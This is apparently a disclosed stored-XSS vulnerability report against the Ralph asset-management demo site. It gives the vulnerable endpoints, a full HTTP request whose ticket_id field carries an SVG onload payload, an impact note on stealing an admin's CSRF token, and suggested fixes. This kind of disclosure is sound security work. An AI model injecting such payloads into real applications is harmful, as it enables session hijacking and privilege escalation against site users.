Multiple Stored XSS in Operations - Ticket ID

[az0mb13]

Steps to reproduce

Multiple stored XSS have been found by @nullvoiddeath and myself (@az0mb13) in Operations inside Ticket IDs in Changes and Problems. There may be more vulnerable endpoints similar to this.

Vulnerable Endpoints

• https://ralph-demo.allegro.tech/operations/change/add/ (in Ticket ID)
• https://ralph-demo.allegro.tech/operations/problem/add/ (in Ticket ID)

Vulnerable Request

POST /operations/problem/103/ HTTP/1.1
Host: ralph-demo.allegro.tech
Cookie: csrftoken=6XYt9UzJvP90FzMrP2Nx47eUCke00wFF; sessionid=x0wro2sydzt15c0hqq818i6jjg8o5mj0
Content-Length: 1369
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://ralph-demo.allegro.tech
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuZzJBXlfBNAFEASD
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Gpc: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ralph-demo.allegro.tech/operations/problem/103/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="csrfmiddlewaretoken"

6XYt9UzJvP90FzMrP2Nx47eUCke00wFF
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="type"

201
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="title"

Test
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="status"

4
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="reporter"


------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="assignee"


------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="description"


------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="ticket_id"

"><svg/onload=alert(2)>
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="created_date"


------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="update_date"


------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="resolved_date"


------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="base_objects"


------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="_continue"

Save
------WebKitFormBoundaryuZzJBXlfBNAFEASD--

Impact

Since these endpoints can be accessed by all the users who have permission, this may be abused to carry out a privilege escalation attack wherein a low privileged user will be able to steal the admin's CSRF token and execute a request to increase their own privileges.

Suggested Fix

1. Always treat all user input as untrusted data.
2. Never insert untrusted data except in allowed locations.
3. Always input or output-encode all data coming into or out of the application.
4. Always whitelist allowed characters and seldom use blacklisting of characters except in certain use cases.
5. Always use a well-known and security encoding API for input and output encoding such as the OWASP ESAPI.
6. Never try to write input and output encoders unless absolutely necessary. Chances are that someone has already written a good one.
7. Never use the DOM function innerHtml and instead use the functions innerText and textContent to prevent against DOM-based XSS.
8. As a best practice, consider using the HTTPOnly flag on cookies that are session tokens or sensitive tokens.
9. As a best practice, consider implementing Content Security Policy to protect against XSS and other injection type attacks.
10. As a best practice, consider using an auto-escaping templating system.
11. As a best practice, consider using the X-XSS-Protection response header.

Environment

Chrome/Firefox latest version

• Ralph version: 3
• Operating system: Manjaro
• Method of installation: pre-deployed installation at https://ralph-demo.allegro.tech/